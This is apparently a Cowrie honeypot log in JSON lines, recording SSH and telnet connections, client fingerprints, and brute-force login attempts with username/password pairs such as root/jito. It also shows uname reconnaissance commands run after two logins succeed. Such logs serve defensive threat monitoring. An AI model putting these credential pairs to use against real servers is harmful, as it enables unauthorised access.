{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:07:13.321846Z","src_ip":"198.235.24.121","session":"dceaea8faee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.236","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69e1fbe6a9c","protocol":"telnet","message":"New connection: 205.210.31.236:57078 (10.17.0.5:23) [session: e69e1fbe6a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:03.704582Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":41584,"dst_ip":"10.17.0.5","dst_port":22,"session":"24509af428d0","protocol":"ssh","message":"New connection: 138.128.241.222:41584 (10.17.0.5:22) [session: 24509af428d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:08.090751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:08.095118Z","src_ip":"138.128.241.222","session":"24509af428d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:08.100029Z","src_ip":"138.128.241.222","session":"24509af428d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"powr","password":"powr2017!","message":"login attempt [powr/powr2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:08.112500Z","src_ip":"138.128.241.222","session":"24509af428d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:09.119646Z","src_ip":"138.128.241.222","session":"24509af428d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.107129096984863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:34.811586Z","src_ip":"205.210.31.236","session":"e69e1fbe6a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":39250,"dst_ip":"159.203.135.109","dst_port":22,"session":"53acf089aeb0","protocol":"ssh","message":"New connection: 5.75.137.141:39250 (159.203.135.109:22) [session: 53acf089aeb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:53.326540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:53.330803Z","src_ip":"5.75.137.141","session":"53acf089aeb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:53.422958Z","src_ip":"5.75.137.141","session":"53acf089aeb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pancakeswap","password":"PANCAKESWAP","message":"login attempt [pancakeswap/PANCAKESWAP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:53.611222Z","src_ip":"5.75.137.141","session":"53acf089aeb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:08:54.704683Z","src_ip":"5.75.137.141","session":"53acf089aeb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":34154,"dst_ip":"159.203.135.109","dst_port":22,"session":"9feda3d4113f","protocol":"ssh","message":"New connection: 92.118.39.95:34154 (159.203.135.109:22) [session: 9feda3d4113f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:04.355168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:04.359942Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:04.464905Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"jito","message":"login attempt [root/jito] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:04.782582Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:05.027511Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:05.030947Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:05.156287Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:05.160519Z","src_ip":"92.118.39.95","session":"9feda3d4113f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45230,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c123ae91558","protocol":"ssh","message":"New connection: 2.57.122.96:45230 (159.203.135.109:22) [session: 4c123ae91558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:15.648304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:15.651701Z","src_ip":"2.57.122.96","session":"4c123ae91558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:15.753149Z","src_ip":"2.57.122.96","session":"4c123ae91558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:16.059031Z","src_ip":"2.57.122.96","session":"4c123ae91558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:17.160305Z","src_ip":"2.57.122.96","session":"4c123ae91558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":36280,"dst_ip":"159.203.135.109","dst_port":22,"session":"e754d80b098d","protocol":"ssh","message":"New connection: 162.120.6.20:36280 (159.203.135.109:22) [session: e754d80b098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:58.660934Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:58.730241Z","src_ip":"162.120.6.20","session":"e754d80b098d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":36282,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d59ad8dc65","protocol":"ssh","message":"New connection: 162.120.6.20:36282 (159.203.135.109:22) [session: 33d59ad8dc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:58.794558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:58.798689Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:58.866124Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qishang2017.com","message":"login attempt [root/qishang2017.com] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:59.068665Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:59.239742Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:59.243190Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:59.314677Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:09:59.319663Z","src_ip":"162.120.6.20","session":"33d59ad8dc65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":49795,"dst_ip":"10.17.0.5","dst_port":22,"session":"44a5f4a8ca00","protocol":"ssh","message":"New connection: 185.246.130.20:49795 (10.17.0.5:22) [session: 44a5f4a8ca00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:06.796489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:07.167651Z","src_ip":"185.246.130.20","session":"44a5f4a8ca00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:07.267638Z","src_ip":"185.246.130.20","session":"44a5f4a8ca00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:10.706367Z","src_ip":"185.246.130.20","session":"44a5f4a8ca00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:17.584089Z","src_ip":"185.246.130.20","session":"44a5f4a8ca00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:20.489440Z","src_ip":"185.246.130.20","session":"44a5f4a8ca00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:25.499131Z","src_ip":"185.246.130.20","session":"44a5f4a8ca00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":47080,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d7d960d21d","protocol":"ssh","message":"New connection: 172.187.200.190:47080 (159.203.135.109:22) [session: 92d7d960d21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:45.156392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:45.159575Z","src_ip":"172.187.200.190","session":"92d7d960d21d","protocol":"ssh"}
